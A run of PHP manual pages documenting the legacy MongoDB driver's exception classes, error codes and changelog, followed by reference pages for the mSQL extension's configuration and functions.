} catch (MongoCursorException $e) {
    printf("Error code is %d.\n", $e->getCode();
    exit(1);
}


The hostname of the server that encountered the error

  • « MongoCursorException
  • MongoCursorTimeoutException »
  • PHP Manual
  • MongoCursorException
  • The hostname of the server that encountered the error

MongoCursorException::getHost

(PECL mongo >= 1.0.0)

MongoCursorException::getHost — The hostname of the server that encountered the error

Description

public string MongoCursorException::getHost ( void )

Returns the hostname of the server the query was sent too.

Parameters

This function has no parameters.

Return Values

Returns the hostname, or NULL if the hostname is unknown.

User Contributed Notes

There are no user contributed notes for this page.


The MongoCursorTimeoutException class

(PECL mongo >= 1.0.0)

Introduction

Caused by a query timing out. You can set the length of time to wait before this exception is thrown by calling MongoCursor::timeout() on the cursor or setting MongoCursor::$timeout. The static variable is useful for queries such as database commands and MongoCollection::findOne(), both of which implicitly use cursors.

Class synopsis

MongoCursorTimeoutException extends MongoCursorException {
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoConnectionException class

(PECL mongo >= 1.0.0)

Introduction

Thrown when the driver fails to connect to the database.

There are a number of possible error messages to help you diagnose the connection problem. These are:

  • No candidate servers found

    Thrown when the driver cannot establish a connection to MongoDB (fulfilling the ReadPreferences, if specified).

  • No server name given.

    This error occurs if you pass in "" as the server name, probably because of an typo with string interpolation, e.g., "$servr" instead of "$server".

  • failed to get host [hostname] or port [portnum] from [server].

    This indicated that the server string was malformed. "[hostname]" and "[portnum]" will be as much as the driver could dicipher of it.

  • Operation in progress

    Connecting to the database timed out.

  • Transport endpoint is not connected

    Generally means that the connection string isn't correct, the driver couldn't even find the database server.

  • couldn't determine master

    No server in a replica set connection was identified as the primary.

  • couldn't get host info for [server]

    This indicated that DNS could not resolve the server address you gave. This could easily be caused by a typo, for example, "server" instead of "$server".

  • Invalid Argument

    This can be caused by attempting to connect to a machine that is up but that the database isn't actually running on. Make sure that you've started the database server before connecting.

  • Permission denied

    This means that the socket could not be opened due to permissions issues. On Red Hat variants, this can be caused by a default setting that does not allow Apache to create network connections. You can override this setting by running:

    $ /usr/sbin/setsebool -P httpd_can_network_connect 1
    then restarting Apache.

If the error message is not listed above, it is probably an error from the C socket, and you can search the web for its usual cause.

Class synopsis

MongoConnectionException extends MongoException {
}

User Contributed Notes

jefffan24+phpcomment at gmail dot com 08-Mar-2013 01:31
If you have MongoClient class available and use persist option you will have a bad time and get a MongoConnectionException

For example if you have:

<?php
$options = array(
            'replicaSet' => false,
            'persist' => false,
            'connect' => false
        );
return new \Mongo('mongodb://...', $options);
?>

This will not work if you have the mongo client class a better way to handle this if your not sure what is on the server this code is running on is the following:

<?php
$options = array(
            'replicaSet' => false,
            'connect' => false
        );
        if(!class_exists('MongoClient')){
            $options['persist'] = false;
        }
        return new \Mongo('mongodb:/...', $options);
?>

This will only add it in the case where MongoClient doesn't exist and it needs it.  Hope this saves anyone some heart ache.


The MongoGridFSException class

(PECL mongo >= 1.0.0)

Introduction

Thrown when there are errors reading or writing files to or from the database.

Class synopsis

MongoGridFSException extends MongoException {
}

Error codes

MongoGridFSException error codes
Code | Message | Reason
3 | Could not open file $filename | Attempting to store an invalid file, such as directory
4 | File $filename is too large: $filesize bytes | Maximum filesize in GridFS is 4GB
5 | could not find filehandle | Resource doesn't have a filehandle
6 | no file is associate with this filehandle | Resource isn't a file resource
7 | error setting up file: $filenames | Could not open file for reading
9 | error reading file $filenames | Failed reading file
10 | error reading filehandle | Failed reading from a resource
11 | could not find uploaded file %s | Filename doesn't seem to be uploaded file
12 | Couldn't find tmp_name in the $_FILES array. Are you sure the upload worked? | Uploaded filename probably failed
13 | tmp_name was not a string or an array | Invalid filename given
14 | couldn't find file size | The length property is missing
15 | Cannot find filename | No filename provided, and no filename property set
16 | could not open destination file %s | Destination filename not writable
17 | error reading chunk of file | Chunk corruption
18 | couldn't create a php_stream | Couldn't create a stream resource
19 | couldn't find property | Chunk corruption
20 | chunk number has wrong size (size) when the max is maxchunksize | Chunk larger then expected
21 | chunk has wrong format | Chunk corruption

User Contributed Notes

There are no user contributed notes for this page.


The MongoDuplicateKeyException class

(PECL mongo >= 1.5.0)

Introduction

Thrown when attempting to insert a document into a collection which already contains the same values for the unique keys.

Class synopsis

MongoDuplicateKeyException extends MongoWriteConcernException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
public array MongoWriteConcernException::getDocument ( void )
}

Examples

Example #1 Catching MongoDuplicateKeyException

<?php
$mc = new MongoClient("localhost");

$c = $mc->selectCollection("test", "test");

$c->insert(array('_id' => 1));
try {
    $c->insert(array('_id' => 1));
} catch (MongoWriteConcernException $e) {
    echo $e->getMessage(), "\n";
}
?>

The above examples will output something similar to:

localhost:27017: insertDocument :: caused by :: 11000 E11000 duplicate key error index: test.test.$_id_  dup key: { : 1 }

User Contributed Notes

fastest963 at gmail dot com 30-May-2014 04:08
Not sure about earlier versions but this definitely exists in pecl mongo 1.2.10.


The MongoProtocolException class

(PECL mongo >= 1.5.0)

Introduction

When talking to MongoDB 2.6.0, and later, certain operations (such as writes) may throw MongoProtocolException when the response from the server did not make sense - for example during network failure (we could read the entire response) or data corruption.

This exception is also thrown when attempting to talk newer protocols then the server supports, for example using the MongoWriteBatch when talking to a MongoDB server prior to 2.6.0.

Class synopsis

MongoProtocolException extends MongoException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
}

Examples

Example #1 Catching MongoProtocolException

Running the following example against MongoDB prior to 2.6.0 will throw an MongoProtocolException

<?php
$mc = new MongoClient("localhost");
$c = $mc->selectCollection("test", "test");

try {
    $batch = new MongoInsertBatch($c);
} catch(MongoProtocolException $e) {
    echo $e->getMessage();
}
?>

The above examples will output something similar to:

Current primary does not have a Write API

User Contributed Notes

There are no user contributed notes for this page.


The MongoExecutionTimeoutException class

(PECL mongo >= 1.5.0)

Introduction

Thrown when a operation times out server side (i.e. in MongoDB).

To configure the operation timeout threshold, use MongoCursor::maxTimeMS() or the "maxTimeMS" command option.

Class synopsis

MongoExecutionTimeoutException extends MongoException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoWriteConcernException class

(PECL mongo >= 1.5.0)

Introduction

MongoWriteConcernException is thrown when a write fails. See Write Concerns for how to set failure thresholds.

Prior to MongoDB 2.6.0 » GLE would determin when a write failed.

Class synopsis

MongoWriteConcernException extends MongoCursorException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Methods */
public array getDocument ( void )
/* Inherited methods */
public string MongoCursorException::getHost ( void )
}

Table of Contents

  • MongoWriteConcernException::getDocument — Get the error document

User Contributed Notes

There are no user contributed notes for this page.


Get the error document

  • « MongoWriteConcernException
  • Changelog »
  • PHP Manual
  • MongoWriteConcernException
  • Get the error document

MongoWriteConcernException::getDocument

(No version information available, might only be in Git)

MongoWriteConcernException::getDocument — Get the error document

Description

public array MongoWriteConcernException::getDocument ( void )

Returns the actual response from the server that was interperated as an error.

Parameters

This function has no parameters.

Return Values

A MongoDB document, if available, as an array.

User Contributed Notes

There are no user contributed notes for this page.


Changelog

The following changes have been made to classes/functions/methods of this extension.

MongoDB PHP Driver 1.5.0

It supports all new features for MongoDB 2.6, including:

  • Aggregate can now return a cursor
  • Aggregation pipelines can now be explained
  • Possible to set maxTimeMS for commands and queries
  • Transparent support for the new command-based MongoDB write API
  • New MongoWriteBatch classes (using the new MongoDB write API)
  • Support for MongoDB Enterprise features (e.g. Kerberos, LDAP, X509)
  • Option to tune acceptable server latency for secondary reads (secondaryAcceptableLatencyMS)

With this release, some driver functionality which was previously documented as deprecated will now formally raise deprecation notices. This includes:

  • Instantiating the Mongo class
  • Calling MongoCursor::slaveOkay()
  • "wtimeout" and "safe" options for MongoCollection write operations
  • Manipulating public properties on core classes (such as $collection->w)

Note:

No previously deprecated features have been removed.

Changes in behaviour:

  • Setting the mongo.native_long INI setting now raises an error on 32-bit platforms, and now defaults to true for 64-bit platforms.

MongoDB PHP Driver 1.4.0

The 1.4 series introduced fundemental changes in how connections are created to the MongoDB servers. The driver now utilizes PHP native streams, so all normal PHP stream options apply. Furthermore, an experimental Stream Context Support was added.

The 1.4.x series also added support for MongoDB 2.4.x.

The most important improvements however deal with the handling of replica sets, especially nodes that timeout and nodes that are unreachable for various reasons. Besides the improvements to replica set handling, this release addresses issues with read preferences through mongos nodes. It also adds support for SSL enabled connections as well as journal and fsync connection string options.

MongoDB PHP Driver 1.3.0

The 1.3 series introduced several major changes to the extension such as completely rewritten connection handling (and removal of the pooling mechanism), support for ReadPreferences and change the default WriteConcerns to be acknowledged by introducing a new class MongoClient which serves as a replacement class for the now deprecated Mongo class.

The driver now also supports connecting to multiple mongos instances (the Mongo Shard router) for loadbalancing.

Other enhancements include improved logging for easier connection handling debugging with MongoLog and support for the » Aggregation Framework via the MongoCollection::aggregate() method.

Changes to existing methods

Following is a list of all improvements to existing methods since their inception.

Version | Function | Description
1.5.0 | log_cmd_delete | Only available when connected to MongoDB 2.6.0+
 | log_cmd_insert | Only available when connected to MongoDB 2.6.0+
 | log_cmd_update | Only available when connected to MongoDB 2.6.0+
 | log_write_batch | Only available when connected to MongoDB 2.6.0+
 | MongoBinData::__construct | The default changed from 2 (MongoBinData::BYTE_ARRAY) to 0 (MongoBinData::GENERIC).
 | MongoClient::__construct | Added "authSource".
 | MongoClient::__construct | Added "authMechanism", "gssapiServiceName", and "secondaryAcceptableLatencyMS".
 | MongoCollection::aggregate | Added optional options argument
 | MongoCollection::batchInsert | Added the "wTimeoutMS" option, which replaces "wtimeout". Emits E_DEPRECATED when "wtimeout" is used. Added the "socketTimeoutMS" option, which replaces "timeout". Emits E_DEPRECATED when "timeout" is used. Emits E_DEPRECATED when "safe" is used.
 | MongoCollection::ensureIndex | Renamed the "wtimeout" option to "wTimeoutMS". Emits E_DEPRECATED when "wtimeout" is used. Renamed the "timeout" option to "socketTimeoutMS". Emits E_DEPRECATED when "timeout" is used. Emits E_DEPRECATED when "safe" is used.
 | MongoCollection::findOne | Added optional options argument.
 | MongoCollection::group | Added "maxTimeMS" option.
 | MongoCollection::insert | Added the "wTimeoutMS" option, which replaces "wtimeout". Emits E_DEPRECATED when "wtimeout" is used. Added the "socketTimeoutMS" option, which replaces "timeout". Emits E_DEPRECATED when "timeout" is used. Emits E_DEPRECATED when "safe" is used.
 | MongoCollection::remove | Added "wTimeoutMS" option, which replaces "wtimeout". Emits E_DEPRECATED when "wtimeout" is used. Added "socketTimeoutMS" option, which replaces "timeout". Emits E_DEPRECATED when "timeout" is used. Emits E_DEPRECATED when "safe" is used.
 | MongoCollection::save | Added "wTimeoutMS" option, which replaces "wtimeout". Emits E_DEPRECATED when "wtimeout" is used. Added "socketTimeoutMS" option, which replaces "timeout". Emits E_DEPRECATED when "timeout" is used. Emits E_DEPRECATED when "safe" is used.
 | MongoCollection::toIndexString | This method has been deprecated.
 | MongoCollection::update | Added the "wTimeoutMS" option, which replaces "wtimeout". Emits E_DEPRECATED when "wtimeout" is used. Added the "socketTimeoutMS" option, which replaces "timeout". Emits E_DEPRECATED when "timeout" is used. Emits E_DEPRECATED when "safe" is used.
 | MongoCursor::slaveOkay | This method has been deprecated in favour of MongoCursor::setReadPreference and .
 | MongoDB::command | Renamed the "timeout" option to "socketTimeoutMS". Emits E_DEPRECATED when "timeout" is used.
1.4.5 | MongoCursor::batchSize | Before 1.4.5, this method would throw an MongoCursorException if the cursor had already started iterating.
1.4.0 | MongoClient::__construct | Added "ssl" option and support for connecting over SSL. Added "wTimeoutMS" option, which replaces "wTimeout". Emits E_DEPRECATED when "slaveOkay" or "timeout" is used.
 | MongoCursor::hint | The index argument now supports index names as string values. In versions before 1.4.0, only array or object values were accepted.
 | MongoCursor::setFlag | Support for flag 3 (OPLOG_REPLAY) is added. Versions before 1.4.0 would throw a warning saying that the flag is unsupported.
 | MongoDB::createCollection | In versions before 1.4.0, the options were all arguments to the method. The function synopsis in those older versions is: public MongoCollectionMongoDB::createCollection stringname boolcappedFALSE intsize0 intmax0 The meaning of the options is the same as described under the options argument above.
 | MongoId::__construct | An exception is thrown when passed invalid string
1.3.4 | MongoClient::__construct | Added "connectTimeoutMS" and "socketTimeoutMS" options.
 | MongoCollection::batchInsert | Added "wtimeout" option.
 | MongoCollection::ensureIndex | Added "wtimeout" option.
 | MongoCollection::insert | Added "wtimeout" option.
 | MongoCollection::remove | Added "wtimeout" option.
 | MongoCollection::update | Added "wtimeout" option.
1.3.3 | MongoClient::getReadPreference | The return value has changed to be consistent with MongoClient::setReadPreference. The type value was changed from a number to a string, type_string was removed, and tagsets now expresses tags as key/value pairs instead of colon-delimited strings.
 | MongoCollection::getReadPreference | The return value has changed to be consistent with MongoCollection::setReadPreference. The type value was changed from a number to a string, type_string was removed, and tagsets now expresses tags as key/value pairs instead of colon-delimited strings.
 | MongoDB::getReadPreference | The return value has changed to be consistent with MongoDB::setReadPreference. The type value was changed from a number to a string, type_string was removed, and tagsets now expresses tags as key/value pairs instead of colon-delimited strings.
1.3.0 | MongoClient::close | The connection parameter to this function was added in 1.3.0. Before that, only the write connection would be closed by this method.
 | MongoClient::__construct | Added "readPreference", "readPreferenceTags", "w", and "wTimeout" options.
 | MongoCollection::batchInsert | Added "w" option.
 | MongoCollection::ensureIndex | Added "w" option. The options parameter no longer accepts a boolean to signify a unique index. Instead, this now has to be done with array('unique' => true).
 | MongoCollection::insert | Added "w" option. The options parameter no longer accepts a boolean to signify an acknowledged write. Instead, this now has to be done with array('w' => 1) (the default behaviour of MongoClient).
 | MongoCollection::remove | Added "w" option. The options parameter no longer accepts a boolean to signify "justOne". Instead, this now has to be done with array('justOne' => true).
 | MongoCollection::update | Added "w" option. The options parameter no longer accepts a boolean to signify an upsert. Instead, this now has to be done with array('upsert' => true).
 | MongoDB::listCollections | Added the includeSystemCollections parameter.
 | MongoGridFSCursor::key | The document's _id is returned as a string value, since the key should be unique. Pre-1.3.0, filename was returned.
1.2.11 | Mongo::getPoolSize | Emits E_DEPRECATED when used.
 | Mongo::getSlave | Emits E_DEPRECATED when used.
 | Mongo::getSlaveOkay | Emits E_DEPRECATED when used.
 | Mongo::poolDebug | Emits E_DEPRECATED when used.
 | Mongo::setSlaveOkay | Emits E_DEPRECATED when used.
 | Mongo::switchSlave | Emits E_DEPRECATED when used.
 | MongoBinData::__construct | Emits E_DEPRECATED when the second argument is not used. The default value for type may change in the near future.
 | MongoCollection::ensureIndex | Emits E_DEPRECATED when options is scalar.
 | MongoCollection::getSlaveOkay | Emits E_DEPRECATED when used.
 | MongoCollection::group | Emits E_DEPRECATED when options is scalar.
 | MongoCollection::remove | Emits E_DEPRECATED when options is scalar.
 | MongoCollection::setSlaveOkay | Emits E_DEPRECATED when used.
 | MongoCollection::update | Emits E_DEPRECATED when options is scalar.
 | MongoCursor::doQuery | Emits E_DEPRECATED when used.
 | MongoDB::authenticate | Emits E_DEPRECATED when used. Please pass in the authentication details to the constructor.
 | MongoDB::forceError | Emits E_DEPRECATED when used.
 | MongoDB::getSlaveOkay | Emits E_DEPRECATED when used.
 | MongoDB::prevError | Emits E_DEPRECATED when used.
 | MongoDB::resetError | Emits E_DEPRECATED when used.
 | MongoDB::setSlaveOkay | Emits E_DEPRECATED when used.
 | MongoPool::getSize | Emits E_DEPRECATED when used.
 | MongoPool::info | Emits E_DEPRECATED when used.
 | MongoPool::setSize | Emits E_DEPRECATED when used.
1.2.10 | MongoClient::getHosts | Support for non-replicasets was added. The returned array elements now also include the hostname and port.
1.2.7 | MongoCollection::batchInsert | Added "continueOnError" option.
1.2.5 | MongoGridFS::storeUpload | Changed second parameter to an array of metadata. Pre-1.2.5, the second parameter was an optional string overriding the filename.
1.2.0 | MongoClient::close | Before version 1.2.0 the driver would not use persistent connections by default, and all connections would be closed as soon as a MongoDB connection went out if scope. Since version 1.2.0 this is no longer the case and it is a bad idea to call close as you might end up overloading the server with connections under high load.
 | MongoClient::__construct | Added "username" and "password" options. Removed "persist" option, as all connections are now persistent. It can still be used, but it doesn't affect anything. "persist" If the connection should be persistent. If set, the connection will be persistent. The string representation of the value is used as an ID for the connection, so two instances of MongoClient that are initialized with array("persist" => "foobar") will share the same database connection, whereas an instance initialized with array("persist" => "barbaz") will use a different database connection. The "replicaSet" option now takes a string, not a boolean.
 | MongoCollection::ensureIndex | Added "timeout" option.
 | MongoCollection::insert | Added "timeout" option.
 | MongoCollection::remove | Added "timeout" option.
 | MongoCollection::save | Added "timeout" option.
 | MongoCollection::update | Added "timeout" option.
 | MongoDB::command | Added options parameter with a single option: "timeout".
1.1.0 | MongoCursor::info | Added a number of other fields, including id (the cursor id), at (the driver's counter of which document is current), numReturned (the number returned by the server in the current batch), and server (which server the query was sent to—useful in conjunction with .
1.0.11 | MongoCollection::ensureIndex | The "safe" option will trigger a primary failover, if necessary. MongoException will be thrown if the index name (either generated or set) is longer than 128 bytes.
 | MongoCollection::insert | Disconnects on "not master" errors if "safe" is set.
 | MongoCollection::remove | Disconnects on "not master" errors if "safe" is set.
 | MongoCollection::save | Disconnects on "not master" errors if "safe" is set.
 | MongoCollection::update | Disconnects on "not master" errors if "safe" is set.
1.0.10 | MongoCursor::info | Added started_iterating field, a boolean indicating if cursor is pre- or post-query.
1.0.9 | MongoClient::__construct | Added "replicaSet" option.
 | MongoCollection::batchInsert | Added ability to pass integers to the "safe" option, which previously only accepted booleans. Added "fsync" option.
 | MongoCollection::insert | Added ability to pass integers to the "safe" option, which previously only accepted booleans. Added "fsync" option. The return type was changed to be an array containing error information if the "safe" option is used. Otherwise, a boolean is returned as before.
 | MongoCollection::remove | Added ability to pass integers to the "safe" option, which previously only accepted booleans. Added "fsync" option. The return type was changed to be an array containing error information if the "safe" option is used. Otherwise, a boolean is returned as before.
 | MongoCollection::save | Added ability to pass integers to the "safe" option, which previously only accepted booleans. Added "fsync" option.
 | MongoCollection::update | Added ability to pass integers to the "safe" option, which previously only accepted booleans. Added "fsync" option. The return type was changed to be an array containing error information if the "safe" option is used. Otherwise, a boolean is returned as before.
1.0.7 | MongoCollection::count | Added limit and skip parameters.
1.0.5 | MongoCollection::batchInsert | Added options parameter.
 | MongoCollection::ensureIndex | Added the "name" option to override index name creation.
 | MongoCollection::insert | Changed second parameter to be an array of options. Pre-1.0.5, the second parameter was a boolean indicating the "safe" option.
 | MongoCollection::remove | Changed second parameter to be an array of options. Pre-1.0.5, the second parameter was a boolean indicating the "safe" option.
 | MongoCollection::save | Added options parameter.
 | MongoCollection::update | Added "safe" option.
1.0.2 | MongoClient::__construct | Changed constructor to take an array of options. Pre-1.0.2, the constructor took the following parameters: server The server name. connect Optional boolean parameter specifying if the constructor should connect to the database before returning. Defaults to TRUE. persistent If the connection should be persistent. paired If the connection should be paired.
 | MongoCollection::ensureIndex | Changed options parameter from boolean to array. Pre-1.0.2, the second parameter was an optional boolean value specifying a unique index.
1.0.1 | MongoCollection::insert | Throw a MongoCursorException if the "safe" option is set and the insert fails.
 | MongoCollection::update | Changed options parameter from boolean to array. Pre-1.0.1, the second parameter was an optional boolean value specifying an upsert.

User Contributed Notes

There are no user contributed notes for this page.


mSQL

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • mSQL Functions
    • msql_affected_rows — Returns number of affected rows
    • msql_close — Close mSQL connection
    • msql_connect — Open mSQL connection
    • msql_create_db — Create mSQL database
    • msql_createdb — Alias of msql_create_db
    • msql_data_seek — Move internal row pointer
    • msql_db_query — Send mSQL query
    • msql_dbname — Alias of msql_result
    • msql_drop_db — Drop (delete) mSQL database
    • msql_error — Returns error message of last msql call
    • msql_fetch_array — Fetch row as array
    • msql_fetch_field — Get field information
    • msql_fetch_object — Fetch row as object
    • msql_fetch_row — Get row as enumerated array
    • msql_field_flags — Get field flags
    • msql_field_len — Get field length
    • msql_field_name — Get the name of the specified field in a result
    • msql_field_seek — Set field offset
    • msql_field_table — Get table name for field
    • msql_field_type — Get field type
    • msql_fieldflags — Alias of msql_field_flags
    • msql_fieldlen — Alias of msql_field_len
    • msql_fieldname — Alias of msql_field_name
    • msql_fieldtable — Alias of msql_field_table
    • msql_fieldtype — Alias of msql_field_type
    • msql_free_result — Free result memory
    • msql_list_dbs — List mSQL databases on server
    • msql_list_fields — List result fields
    • msql_list_tables — List tables in an mSQL database
    • msql_num_fields — Get number of fields in result
    • msql_num_rows — Get number of rows in result
    • msql_numfields — Alias of msql_num_fields
    • msql_numrows — Alias of msql_num_rows
    • msql_pconnect — Open persistent mSQL connection
    • msql_query — Send mSQL query
    • msql_regcase — Alias of sql_regcase
    • msql_result — Get result data
    • msql_select_db — Select mSQL database
    • msql_tablename — Alias of msql_result
    • msql — Alias of msql_db_query

User Contributed Notes

There are no user contributed notes for this page.


Introduction

These functions allow you to access mSQL database servers. More information about mSQL can be found at » http://www.hughes.com.au/.

User Contributed Notes

There are no user contributed notes for this page.


Installation

In order to have these functions available, you must compile PHP with msql support by using the --with-msql[=DIR] option. DIR is the mSQL base install directory, defaults to /usr/local/msql3.

Note: Note to Win32 Users

In order for this extension to work, there are DLL files that must be available to the Windows system PATH. For information on how to do this, see the FAQ entitled "How do I add my PHP directory to the PATH on Windows". Although copying DLL files from the PHP folder into the Windows system directory also works (because the system directory is by default in the system's PATH), this is not recommended. This extension requires the following files to be in the PATH: msql.dll

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

mSQL configuration options
Name | Default | Changeable | Changelog
msql.allow_persistent | "1" | PHP_INI_ALL |
msql.max_persistent | "-1" | PHP_INI_ALL |
msql.max_links | "-1" | PHP_INI_ALL |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

msql.allow_persistent boolean

Whether to allow persistent mSQL connections.

msql.max_persistent integer

The maximum number of persistent mSQL connections per process.

msql.max_links integer

The maximum number of mSQL connections per process, including persistent connections.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

There are two resource types used in the mSQL module. The first one is the link identifier for a database connection, the second a resource which holds the result of a query.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

MSQL_ASSOC (integer)
MSQL_NUM (integer)
MSQL_BOTH (integer)

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

This simple example shows how to connect, execute a query, print resulting rows and disconnect from a mSQL database.

Example #1 mSQL usage example

<?php
/* Connecting, selecting database */
$link = msql_connect('localhost', 'username', 'password')
    or die('Could not connect : ' . msql_error($link));

msql_select_db('database', $link)
    or die('Could not select database');

/* Issue SQL query */
$query = 'SELECT * FROM my_table';
$result = msql_query($query, $link) or die('Query failed : ' . msql_error());

/* Printing results in HTML */
echo "<table>\n";
while ($row = msql_fetch_array($result, MSQL_ASSOC)) {
    echo "\t<tr>\n";
    foreach ($row as $col_value) {
        echo "\t\t<td>$col_value</td>\n";
    }
    echo "\t</tr>\n";
}
echo "</table>\n";

/* Free result set */
msql_free_result($result);

/* Close connection */
msql_close($link);
?>

User Contributed Notes

There are no user contributed notes for this page.


mSQL Functions

Table of Contents

  • msql_affected_rows — Returns number of affected rows
  • msql_close — Close mSQL connection
  • msql_connect — Open mSQL connection
  • msql_create_db — Create mSQL database
  • msql_createdb — Alias of msql_create_db
  • msql_data_seek — Move internal row pointer
  • msql_db_query — Send mSQL query
  • msql_dbname — Alias of msql_result
  • msql_drop_db — Drop (delete) mSQL database
  • msql_error — Returns error message of last msql call
  • msql_fetch_array — Fetch row as array
  • msql_fetch_field — Get field information
  • msql_fetch_object — Fetch row as object
  • msql_fetch_row — Get row as enumerated array
  • msql_field_flags — Get field flags
  • msql_field_len — Get field length
  • msql_field_name — Get the name of the specified field in a result
  • msql_field_seek — Set field offset
  • msql_field_table — Get table name for field
  • msql_field_type — Get field type
  • msql_fieldflags — Alias of msql_field_flags
  • msql_fieldlen — Alias of msql_field_len
  • msql_fieldname — Alias of msql_field_name
  • msql_fieldtable — Alias of msql_field_table
  • msql_fieldtype — Alias of msql_field_type
  • msql_free_result — Free result memory
  • msql_list_dbs — List mSQL databases on server
  • msql_list_fields — List result fields
  • msql_list_tables — List tables in an mSQL database
  • msql_num_fields — Get number of fields in result
  • msql_num_rows — Get number of rows in result
  • msql_numfields — Alias of msql_num_fields
  • msql_numrows — Alias of msql_num_rows
  • msql_pconnect — Open persistent mSQL connection
  • msql_query — Send mSQL query
  • msql_regcase — Alias of sql_regcase
  • msql_result — Get result data
  • msql_select_db — Select mSQL database
  • msql_tablename — Alias of msql_result
  • msql — Alias of msql_db_query

User Contributed Notes

There are no user contributed notes for this page.


Returns number of affected rows

  • « mSQL Functions
  • msql_close »
  • PHP Manual
  • mSQL Functions
  • Returns number of affected rows

msql_affected_rows

(PHP 4, PHP 5)

msql_affected_rows — Returns number of affected rows

Description

int msql_affected_rows ( resource $result )

Returns number of affected rows by the last SELECT, UPDATE or DELETE query associated with result.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

Return Values

Returns the number of affected rows on success, or FALSE on error.

See Also

  • msql_query() - Send mSQL query

User Contributed Notes

afiedler 20-Dec-2008 03:45
Is seems that at least for SQL deletes, you should pass a MySQL link resource (from a mysql_connect call), not a MySQL result (from a mysql_query) otherwise you will get an error.


Close mSQL connection

  • « msql_affected_rows
  • msql_connect »
  • PHP Manual
  • mSQL Functions
  • Close mSQL connection

msql_close

(PHP 4, PHP 5)

msql_close — Close mSQL connection

Description

bool msql_close ([ resource $link_identifier ] )

msql_close() closes the non-persistent connection to the mSQL server that's associated with the specified link identifier.

Using msql_close() isn't usually necessary, as non-persistent open links are automatically closed at the end of the script's execution. See also freeing resources.

Parameters

link_identifier

The mSQL connection. If not specified, the last link opened by msql_connect() is assumed. If no such link is found, the function will try to establish a link as if msql_connect() was called, and use it.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • msql_connect() - Open mSQL connection
  • msql_pconnect() - Open persistent mSQL connection

User Contributed Notes

There are no user contributed notes for this page.


Open mSQL connection

  • « msql_close
  • msql_create_db »
  • PHP Manual
  • mSQL Functions
  • Open mSQL connection

msql_connect

(PHP 4, PHP 5)

msql_connect — Open mSQL connection

Description

resource msql_connect ([ string $hostname ] )

msql_connect() establishes a connection to a mSQL server.

If a second call is made to msql_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned.

The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling msql_close().

Parameters

hostname

The hostname can also include a port number. e.g. hostname,port.

If not specified, the connection is established by the means of a Unix domain socket, being then more efficient then a localhost TCP socket connection.

Note:

While this function will accept a colon (:) as a host/port separator, a comma (,) is the preferred method.

Return Values

Returns a positive mSQL link identifier on success, or FALSE on error.

See Also

  • msql_pconnect() - Open persistent mSQL connection
  • msql_close() - Close mSQL connection

User Contributed Notes

There are no user contributed notes for this page.


Create mSQL database

  • « msql_connect
  • msql_createdb »
  • PHP Manual
  • mSQL Functions
  • Create mSQL database

msql_create_db

(PHP 4, PHP 5)

msql_create_db — Create mSQL database

Description

bool msql_create_db ( string $database_name [, resource $link_identifier ] )

msql_create_db() attempts to create a new database on the mSQL server.

Parameters

database_name

The name of the mSQL database.

link_identifier

The mSQL connection. If not specified, the last link opened by msql_connect() is assumed. If no such link is found, the function will try to establish a link as if msql_connect() was called, and use it.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • msql_drop_db() - Drop (delete) mSQL database

User Contributed Notes

There are no user contributed notes for this page.


Alias of msql_create_db

  • « msql_create_db
  • msql_data_seek »
  • PHP Manual
  • mSQL Functions
  • Alias of msql_create_db

msql_createdb

(PHP 4, PHP 5)

msql_createdb — Alias of msql_create_db()

Description

This function is an alias of: msql_create_db().

User Contributed Notes

There are no user contributed notes for this page.


Move internal row pointer

  • « msql_createdb
  • msql_db_query »
  • PHP Manual
  • mSQL Functions
  • Move internal row pointer

msql_data_seek

(PHP 4, PHP 5)

msql_data_seek — Move internal row pointer

Description

bool msql_data_seek ( resource $result , int $row_number )

msql_data_seek() moves the internal row pointer of the mSQL result associated with the specified query identifier to point to the specified row number. The next call to msql_fetch_row() would return that row.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

row_number

The seeked row number.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • msql_fetch_array() - Fetch row as array
  • msql_fetch_object() - Fetch row as object
  • msql_fetch_row() - Get row as enumerated array
  • msql_result() - Get result data

User Contributed Notes

There are no user contributed notes for this page.


Send mSQL query

  • « msql_data_seek
  • msql_dbname »
  • PHP Manual
  • mSQL Functions
  • Send mSQL query

msql_db_query

(PHP 4, PHP 5)

msql_db_query — Send mSQL query

Description

resource msql_db_query ( string $database , string $query [, resource $link_identifier ] )

msql_db_query() selects a database and executes a query on it.

Parameters

database

The name of the mSQL database.

query

The SQL query.

link_identifier

The mSQL connection. If not specified, the last link opened by msql_connect() is assumed. If no such link is found, the function will try to establish a link as if msql_connect() was called, and use it.

Return Values

Returns a positive mSQL query identifier to the query result, or FALSE on error.

See Also

  • msql_query() - Send mSQL query

User Contributed Notes

There are no user contributed notes for this page.


Alias of msql_result

  • « msql_db_query
  • msql_drop_db »
  • PHP Manual
  • mSQL Functions
  • Alias of msql_result

msql_dbname

(PHP 4, PHP 5)

msql_dbname — Alias of msql_result()

Description

This function is an alias of: msql_result().

User Contributed Notes

There are no user contributed notes for this page.


Drop (delete) mSQL database

  • « msql_dbname
  • msql_error »
  • PHP Manual
  • mSQL Functions
  • Drop (delete) mSQL database

msql_drop_db

(PHP 4, PHP 5)

